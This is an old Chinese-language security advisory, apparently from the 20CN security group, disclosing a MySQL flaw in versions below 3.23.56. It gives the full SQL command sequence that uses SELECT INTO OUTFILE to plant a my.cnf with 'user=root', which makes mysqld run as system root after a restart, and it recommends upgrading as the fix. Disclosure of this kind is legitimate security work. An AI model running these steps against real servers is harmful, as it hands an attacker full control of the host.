MySQL ROOT用户可得到系统ROOT权限

/ns/ld/softld/data/20030507053130.htm

发现:Gufion
作者:NetDemon
Http://www.20cn.net/

在 /etc 目录下有 my.cnf的情况下,通过以下操作,可让mysqld在重新启动之后以ROOT身份运行,

用mysql root连接并输入如下命令:

mysql>CREATE DATABASE roottext;
mysql>USE roottext;
mysql>CREATE TABLE hack (conf VARCHAR(80));
mysql>INSERT IN hack VALUES ('[mysqld]');
mysql>INSERT IN hack VALUES ('user=root');
mysql>SELECT * INTO OUTFILE '/path/to/mysql/datadir/my.cnf' FROM hack
mysql>QUIT

这样便在mysql的数据目录创建一个含有下面内容的文件my.cnf

[mysqld]
user=root

在mysql重起之后,此文件将覆盖 /etc/my.cnf的内容,mysqld将以root身份运行,这意味着你也同时拥有系统的root权限了,如通过使用创建适当形式的数据表并通过 INTO OUTFILE 创建或改写目标主机上任意文件等


说明:

尽管此漏洞需要获得MySQL的root密码,这事实上是大多数系统root才掌握的密码。不过因为此密码通常比系统的root密码更容易得到,如果入侵者获得此密码,利用此漏洞,这个系统将彻底被控制。特别在mysql <= 3.23.53 的情况下,得到mysql的root的exploit已经早就能在internet上找到了。因此这个漏洞具有相当大的危险性


有此漏洞版本:小于 MySQL 3.23.56 的所有版本

解决方法:升级到 MySQL 3.23.56
===============================================
本文版权属20CN网络安全小组及其作者所有,如有转载,请保持文章完整性并注明出处
文章类型:原创 提交:NetDemon 核查:NetDemon